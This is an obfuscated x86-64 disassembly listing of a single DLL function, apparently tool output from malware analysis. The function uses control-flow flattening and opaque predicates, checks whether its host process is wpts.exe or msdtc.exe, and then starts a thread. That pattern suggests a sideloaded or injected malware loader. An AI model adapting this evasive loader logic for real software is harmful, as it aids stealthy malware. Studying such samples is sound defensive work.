Function at 0x180003637
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov dword [rsp + 0x4c], edx
mov eax, 0xae930484
lea rbx, [0x180022d30]
lea rdi, [rsp + 0x40]
mov r12d, 0x83da53ff
mov r14d, 0x82a10b3d
mov r15d, 0x3a8c2ceb
mov esi, 0xc8f68ded
mov r13d, 0xe640dc77
cmp eax, 0xe7aa3916
jle 0x1800036b6
cmp eax, 0x4db0a995
jle 0x1800036f2
cmp eax, 0x73b7e374
jg 0x18000379a
cmp eax, 0x63df8f47
jg 0x180003891
cmp eax, 0x4db0a996
je 0x180003972
cmp eax, 0x5cfde5da
jne 0x180003679
mov eax, 0x3fbcb903
jmp 0x180003679
cmp eax, 0xbbf2a3c5
jg 0x180003750
cmp eax, 0x8f542480
jle 0x1800037cd
cmp eax, 0x9fa5969e
jg 0x1800038b5
cmp eax, 0x8f542481
je 0x180003981
cmp eax, 0x96f468d7
jne 0x180003679
mov eax, 0x7f92bf33
xor ebp, ebp
jmp 0x180003679
cmp eax, 0x185ecb69
jle 0x18000380b
cmp eax, 0x3a8c2cea
jg 0x1800038df
cmp eax, 0x185ecb6a
je 0x18000399f
cmp eax, 0x287d995a
jne 0x180003679
cmp dword [rsp + 0x44], 0
setne byte [rsp + 0x3e]
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x698597c7
cmove eax, r15d
cmp dword [0x18002400c], 0xa
cmovl eax, r15d
jmp 0x180003679
cmp eax, 0xc8f68dec
jle 0x180003866
cmp eax, 0xd5c818ae
jg 0x18000391b
cmp eax, 0xc8f68ded
je 0x1800039c7
cmp eax, 0xcebc429f
jne 0x180003679
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbbf2a3c6
mov ecx, 0x185ecb6a
jmp 0x180003ad6
cmp eax, 0x7ddbecb0
jg 0x180003959
cmp eax, 0x73b7e375
je 0x1800039de
cmp eax, 0x7d3ba790
jne 0x180003679
mov dword [rsp + 0x40], 0
mov eax, 0xff8704b6
jmp 0x180003679
cmp eax, 0x82a10b3d
je 0x180003a06
cmp eax, 0x83da53ff
je 0x180003a1d
cmp eax, 0x85576da8
jne 0x180003679
lea rcx, str.C:ProgramDatawpts.exe
mov rdx, rbx
call fcn.180008f00
mov dword [rsp + 0x48], eax
mov eax, 0x73b7e375
jmp 0x180003679
cmp eax, 0xe7aa3917
je 0x180003a27
cmp eax, 0xf888d09d
je 0x180003a31
cmp eax, 0xff8704b6
jne 0x180003679
mov qword [rsp + 0x50], rdi
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x40], 0
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7d3ba790
cmove eax, r12d
cmp dword [0x18002400c], 0xa
cmovl eax, r12d
jmp 0x180003679
cmp eax, 0xbbf2a3c6
je 0x180003a5f
cmp eax, 0xbc84bd6b
je 0x180003a69
cmp eax, 0xc62940fe
jne 0x180003679
mov eax, 0xd5c818af
jmp 0x180003679
cmp eax, 0x63df8f48
je 0x180003a84
cmp eax, 0x698597c7
jne 0x180003679
mov eax, dword [rsp + 0x44]
mov eax, 0x287d995a
jmp 0x180003679
cmp eax, 0x9fa5969f
je 0x180003abd
cmp eax, 0xae930484
jne 0x180003679
cmp dword [rsp + 0x4c], 1
sete byte [rsp + 0x3d]
mov eax, 0xbc84bd6b
jmp 0x180003679
cmp eax, 0x3a8c2ceb
je 0x180003ae8
cmp eax, 0x3fbcb903
jne 0x180003679
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5cfde5da
cmove eax, esi
cmp dword [0x18002400c], 0xa
cmovl eax, esi
jmp 0x180003679
cmp eax, 0xd5c818af
je 0x180003af2
cmp eax, 0xe640dc77
jne 0x180003679
cmp dword [rsp + 0x48], 0
setne byte [rsp + 0x3f]
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ddbecb1
mov ecx, 0xc62940fe
jmp 0x180003ad6
cmp eax, 0x7ddbecb1
jne 0x180003b09
mov eax, dword [rsp + 0x48]
mov eax, 0xe640dc77
jmp 0x180003679
mov eax, 0x7f92bf33
mov ebp, 1
jmp 0x180003679
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x698597c7
mov ecx, 0x287d995a
jmp 0x180003ad6
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbbf2a3c6
cmove eax, r14d
cmp dword [0x18002400c], 0xa
cmovl eax, r14d
jmp 0x180003679
cmp byte [rsp + 0x3d], 0
mov eax, 0x4db0a996
mov ecx, 0xf888d09d
cmovne eax, ecx
jmp 0x180003679
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ddbecb1
cmove eax, r13d
cmp dword [0x18002400c], 0xa
cmovl eax, r13d
jmp 0x180003679
cmp byte [rsp + 0x3e], 0
mov eax, 0x9fa5969f
mov ecx, 0x85576da8
cmovne eax, ecx
jmp 0x180003679
mov eax, 0x63df8f48
jmp 0x180003679
mov eax, 0x4db0a996
jmp 0x180003679
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, str.C:WindowsSystem32msdtc.exe
mov rdx, rbx
call fcn.180008f00
mov dword [rsp + 0x44], eax
mov eax, 0x8f542481
jmp 0x180003679
mov eax, 0x185ecb6a
jmp 0x180003679
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5cfde5da
mov ecx, 0x3fbcb903
jmp 0x180003ad6
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [0x180002d17]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x50]
mov eax, 0xe7aa3917
jmp 0x180003679
mov eax, dword [0x180024010]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7d3ba790
mov ecx, 0xff8704b6
cmove eax, ecx
cmp dword [0x18002400c], 0xa
cmovl eax, ecx
jmp 0x180003679
mov eax, 0xcebc429f
jmp 0x180003679
cmp byte [rsp + 0x3f], 0
mov eax, 0x9fa5969f
mov ecx, 0x96f468d7
cmovne eax, ecx
jmp 0x180003679
cmp eax, 0x7f92bf33
jne 0x180003679
mov eax, ebp
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret